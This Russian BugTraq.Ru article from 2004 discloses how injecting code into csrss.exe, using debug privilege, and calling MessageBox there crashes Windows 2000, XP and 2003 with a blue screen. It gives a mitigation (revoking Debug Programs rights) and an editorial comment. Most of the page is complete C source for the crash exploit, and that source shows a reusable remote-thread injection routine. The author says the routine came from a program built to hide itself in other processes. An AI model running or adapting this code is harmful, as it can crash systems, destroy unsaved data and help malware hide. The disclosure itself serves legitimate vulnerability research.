BugTraq.Ru
Русский BugTraq
https://bugtraq.ru/library/internals/bsod.html

BSOD из user mode: бывает и такое
YuraN
Опубликовано: dl, 26.12.04 19:27

При написании программы, целью которой было спрятаться куда подальше от глаз пользователя, я сделал так, чтоб она пряталась в другом процессе. Для отладки созданный поток выводил сообщение с его PID и TID MessageBox'ом.

Когда программа уже была готова, я решил, что пора бы ей брать привилегию отладчика, дабы прятаться и в системых процессах (а-ля winlogon, svchost, etc). Сказано - сделано. Однако, забыв о том, что системному процессу вряд ли разрешено использовать GUI, а если и разрешено, то он может быть на другом десктопе, отладочные сообщения я не убрал. При первом же запуске вывалился BSOD.

В результате выяснил, что машина падает при вызове MessageBox в csrss.exe (стоит отметить, что это не первый BSOD, вызываемый этим процессом).

Избавиться от этой "возможности" можно, убрав права отладки (secpol.msc -> Local Policies -> User Rights Assignment -> Debug Programs)

Исходник прилагается, для сборки использовался Visual C 6.

/*
**************************************************************************
*
*  bsod.cpp
*  This is a user-mode BSOD exploit
*  Discovered on 23.12.2004 by YuraN
*  Contact me: yura_nev [@t] mail [d0t] ru ICQ#217436
*
**************************************************************************
*
*  THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
*  ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO
*  THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
*  PARTICULAR PURPOSE.
*
**************************************************************************
*
*  Автор программы не несет какой-либо ответственности
*  за ее использование, а также за последствия ее использования.
*  Данная программа написана чисто в показательных целях.
*
**************************************************************************
*
*  TESTED ON
*       Win2k   SP4
*       WinXP   SP2
*       Win2003 SP1
*
**************************************************************************
*/

#include <windows.h>

typedef BOOL (WINAPI *tEnumProcesses)(DWORD*,DWORD,DWORD*);
typedef BOOL (WINAPI *tEnumProcessModules)(HANDLE,HMODULE*,DWORD,LPDWORD);
typedef DWORD (WINAPI *tGetModuleBaseNameA)(HANDLE,HMODULE,LPSTR,DWORD);

typedef int (WINAPI *tMessageBoxA)(HWND,const char*,const char*,UINT);
#define CHADDR(type,x) ((##type)((DWORD)(x) + (DWORD)(hmem) - (DWORD)(hinst)))

tEnumProcesses EnumProcesses;
tEnumProcessModules EnumProcessModules;
tGetModuleBaseNameA GetModuleBaseName;

typedef struct {
    tMessageBoxA pMessageBox;
    char *txt;
} ADDRS;

void HideNT();
DWORD WINAPI Hack(ADDRS*);

ADDRS addrs;
char txt[] = "BSOD";
char s[1024];

void main(void)
{
    HMODULE psapi = LoadLibrary("psapi.dll");
    EnumProcesses = (tEnumProcesses)GetProcAddress(psapi,"EnumProcesses");
    EnumProcessModules = (tEnumProcessModules)GetProcAddress(psapi,"EnumProcessModules");
    GetModuleBaseName = (tGetModuleBaseNameA)GetProcAddress(psapi,"GetModuleBaseNameA");
    if(!EnumProcesses || !EnumProcessModules || !GetModuleBaseName) return;

    if(MessageBox(0,
            "This is a user-mode BSOD exploit.\r\n"
            "Data loss possible (up to filesystem crash)!\r\n"
            "All unsaved data will be lost!\r\n"
            "Do you really want to proceed?",
        "BSOD",MB_YESNO) == IDYES)
    {
        HideNT();
        Sleep(100);
        MessageBox(0,"Exploit failed","BSOD",0);
        ExitProcess(0);
    }
}

void HideNT()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    memset(&tkp,0,sizeof(tkp));
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    LookupPrivilegeValue(0,SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, 0, 0);

    HMODULE hinst = GetModuleHandle(0);
    IMAGE_NT_HEADERS32 *pe = (IMAGE_NT_HEADERS32*)(((IMAGE_DOS_HEADER*)hinst)->e_lfanew + (DWORD)hinst);
    DWORD size = pe->OptionalHeader.SizeOfImage;
    DWORD wb;

    DWORD n;
    DWORD pr[1024];
    if(!EnumProcesses(pr,sizeof(pr),&n)) return;
    n >>= 2;

    DWORD cpid = GetCurrentProcessId();
    for(int i = 0; i < n; i++)
    {
        if(pr[i] == cpid) continue;
        HANDLE h = OpenProcess(PROCESS_ALL_ACCESS,0,pr[i]);
        if(!h) continue;
        HMODULE mod;
        DWORD nmod;
        EnumProcessModules(h,&mod,4,&nmod);
        GetModuleBaseName(h,mod,s,1023);
        if(lstrcmpi(s,"csrss.exe"))
        {
            CloseHandle(h);
            continue;
        }
        LPVOID hmem = VirtualAllocEx(h,0,size,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
        if(!hmem)
        {
            CloseHandle(h);
            continue;
        }
        addrs.txt = CHADDR(char*,txt);
        addrs.pMessageBox = MessageBoxA;
        if(!WriteProcessMemory(h,hmem,(LPVOID)hinst,size,&wb))
        {
            VirtualFreeEx(h,hmem,size,MEM_DECOMMIT|MEM_RELEASE);
            CloseHandle(h);
            continue;
        }
        DWORD tid;
        if(!CreateRemoteThread(h,0,0,
            (LPTHREAD_START_ROUTINE)((DWORD)Hack + (DWORD)hmem - (DWORD)hinst),
            (LPVOID)((LPVOID)((DWORD)&addrs - (DWORD)hinst + (DWORD)hmem)),0,&tid))
        {
            VirtualFreeEx(h,hmem,size,MEM_DECOMMIT|MEM_RELEASE);
            CloseHandle(h);
        }
    }
}

DWORD WINAPI Hack(ADDRS *a)
{
    return a->pMessageBox(0,a->txt,a->txt,0);
}

Комментарий bugtraq.

Конечно, после внедрения в csrss это получается уже не совсем user mode, да и debug privilegies - сильная штука, доступная далеко не каждому пользователю, но осадочек неприятный остается.

обсудить  |  все отзывы (6)

[23207; 6; 8.16]




  Copyright © 2001-2024 Dmitry Leonov Design: Vadim Derkach